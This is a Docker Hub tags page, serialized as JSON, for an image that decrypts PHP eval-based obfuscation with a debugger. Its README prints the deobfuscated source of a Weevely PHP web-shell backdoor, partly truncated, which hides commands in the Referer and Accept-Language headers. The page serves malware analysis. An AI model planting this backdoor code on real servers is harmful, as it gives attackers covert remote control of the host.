[{"_1":2,"_161":-5,"_162":-5},"loaderData",{"_3":4,"_17":18,"_25":26,"_140":141},"root",{"_5":-5,"_6":-7,"_7":8,"_9":-7,"_10":11,"_12":-7,"_13":14,"_15":16},"currentUser","primaryEmail","siteVerification","6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI","toast","enableDev",false,"incidentStatus","theme","system","contrast","normal","routes/_layout",{"_19":-5,"_20":21,"_22":21,"_23":11,"_24":21},"username","isAskGordonEnabled",true,"isUsingNewTemplate","showMinimalLanding","showHoneypotTrap","routes/_layout.r.$namespace.$reponame",{"_27":28,"_29":-5,"_30":11,"_31":11,"_32":33,"_34":35,"_36":-5,"_37":11,"_38":39,"_88":-5,"_89":90,"_129":-5,"_130":11,"_131":21,"_132":11,"_133":-5,"_134":11,"_135":-5,"_136":137,"_138":91,"_139":-7},"canonicalUrl","https://hub.docker.com/r/h4ck/php-decrypt-eval/tags","mcpServer","canSeeDockerfile","canSeeAutobuilds","namespace","h4ck","reponame","php-decrypt-eval","cloudBuildSource","isAutobuildsAvailable","repo",{"_40":41,"_42":43,"_45":46,"_47":48,"_49":11,"_50":51,"_52":53,"_54":55,"_57":35,"_32":33,"_58":59,"_60":44,"_61":62,"_63":62,"_64":65,"_66":-5,"_67":68,"_69":70,"_71":11,"_72":33,"_73":74,"_79":21,"_80":81,"_85":33,"_86":87},"categories",[],"content_types",[44],"image","date_registered","2017-10-10T10:06:13.861909Z","description","decrypt php's eval based encryption with debugger","is_private","last_updated","2017-10-11T04:20:42.051011Z","last_modified","2024-10-16T13:48:34.145251Z","media_types",[56],"application/vnd.docker.container.image.v1+json","name","pull_count",1083,"repository_type","star_count",1,"status","status_description","active","source","collaborator_count",0,"full_description","# Usage\n\n```\ndocker run --rm --privileged -v /tmp:/tmp/ -it h4ck/php-decrypt-eval\n\nroot@4ba7e9492d08:~# php-decrypt-eval /tmp/weevely.php\nReading symbols from /root/php-5.6.31/sapi/cli/php...done.\nBreakpoint 1 at 0xc29a0: file /root/php-5.6.31/sapi/cli/php_cli.c, line 1205.\nBreakpoint 2 at 0x3196c0: file Zend/zend_language_scanner.l, line 716.\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n--------------------------------------------------------------------------------\ncallback:\n\n[0x7ffff7fae4a8] create_function(\"\", \"$kh=\"202c\";$kf=\"b962\";function\\40x($t,$k){$c=strlen($k);$l=strlen($t);$o=\"\";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return\\40$o;}$r=$_SERVER;$rr=@$r[\"HTTP_REFERER\"];$ra=@$r[\"HTTP_ACCEPT_LANGUAGE\"];if($rr&&$ra){$u=parse_url($rr);parse_str($u[\"query\"],$q);$q=array_values($q);preg_match_all(\"/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/\",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss=\"substr\";$sl=\"strtolower\";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p=\"\";for($z=1;$z$d\");@session_destroy();}}}}\") /tmp/weevely.php:17\n--------------------------------------------------------------------------------\nsource code:\n\nfunction __lambda_func(){$kh=\"202c\";$kf=\"b962\";function x($t,$k){$c=strlen($k);$l=strlen($t);$o=\"\";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r[\"HTTP_REFERER\"];$ra=@$r[\"HTTP_ACCEPT_LANGUAGE\"];if($rr&&$ra){$u=parse_url($rr);parse_str($u[\"query\"],$q);$q=array_values($q);preg_match_all(\"/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/\",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss=\"substr\";$sl=\"strtolower\";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p=\"\";for($z=1;$z$d\");@session_destroy();}}}}}\n--------------------------------------------------------------------------------\n[Inferior 1 (process 11) exited normally]\n```\n\n![decrypt weevely](http://wx1.sinaimg.cn/large/a7839d61ly1fkdacxjia1j212q0ovdm1.jpg)\n\n# Notes\n\nTo decrypt [phpjiami](http://www.phpjiami.com/), you should comment out the code related with `zbacktrace` in /root/php-decrypt-eval.gdb.","has_starred","hub_user","immutable_tags_settings",{"_75":11,"_76":77},"enabled","rules",[78],".*","is_automated","permissions",{"_82":21,"_83":11,"_84":11},"read","write","admin","user","storage_size",399665285,"orgData","recentTags",[91],{"_92":44,"_93":94,"_95":96,"_97":98,"_99":100,"_50":118,"_119":94,"_120":33,"_121":56,"_57":122,"_123":124,"_125":109,"_126":118,"_127":65,"_128":21},"content_type","creator",2203942,"full_size",222659806,"id",16371297,"images",[101],{"_102":103,"_104":105,"_106":107,"_108":109,"_110":111,"_112":113,"_114":107,"_115":-5,"_116":96,"_63":65,"_117":-5},"architecture","amd64","digest","sha256:6f01a8d3a1eadb5157f19118ce2b989dbf3b375ae6703fb447695ea85c4be06a","features","","last_pulled","2026-10-08T01:19:15.989792109Z","last_pushed","2017-10-11T04:20:42Z","os","linux","os_features","os_version","size","variant","2017-10-11T04:20:41.45476Z","last_updater","last_updater_username","media_type","latest","repository",1903612,"tag_last_pulled","tag_last_pushed","tag_status","v2","sbxKitMetadata","isPotentialSpam","isHubSbxKitsEnabled","showSbxLogoOverride","sbxTrademarkText","displaySecurityMetadata","tagAttestations","tagsHaveAttestations",[],"selectedTag","attestationsUrl","routes/_layout.r.$namespace.$reponame.tags",{"_38":142,"_149":150,"_136":159,"_160":11},{"_40":143,"_42":144,"_45":46,"_47":48,"_49":11,"_50":51,"_52":53,"_54":145,"_57":35,"_32":33,"_58":59,"_60":44,"_61":62,"_63":62,"_64":65,"_66":-5,"_67":68,"_69":70,"_71":11,"_72":33,"_73":146,"_79":21,"_80":148,"_85":33,"_86":87},[],[44],[56],{"_75":11,"_76":147},[78],{"_82":21,"_83":11,"_84":11},"tags",{"_151":62,"_152":-5,"_153":-5,"_154":155},"count","next","previous","results",[156],{"_92":44,"_93":94,"_95":96,"_97":98,"_99":157,"_50":118,"_119":94,"_120":33,"_121":56,"_57":122,"_123":124,"_125":109,"_126":118,"_127":65,"_128":21},[158],{"_102":103,"_104":105,"_106":107,"_108":109,"_110":111,"_112":113,"_114":107,"_115":-5,"_116":96,"_63":65,"_117":-5},[],"canDeleteTags","actionData","errors"]

h4ck/php-decrypt-eval

Tags for h4ck/php-decrypt-eval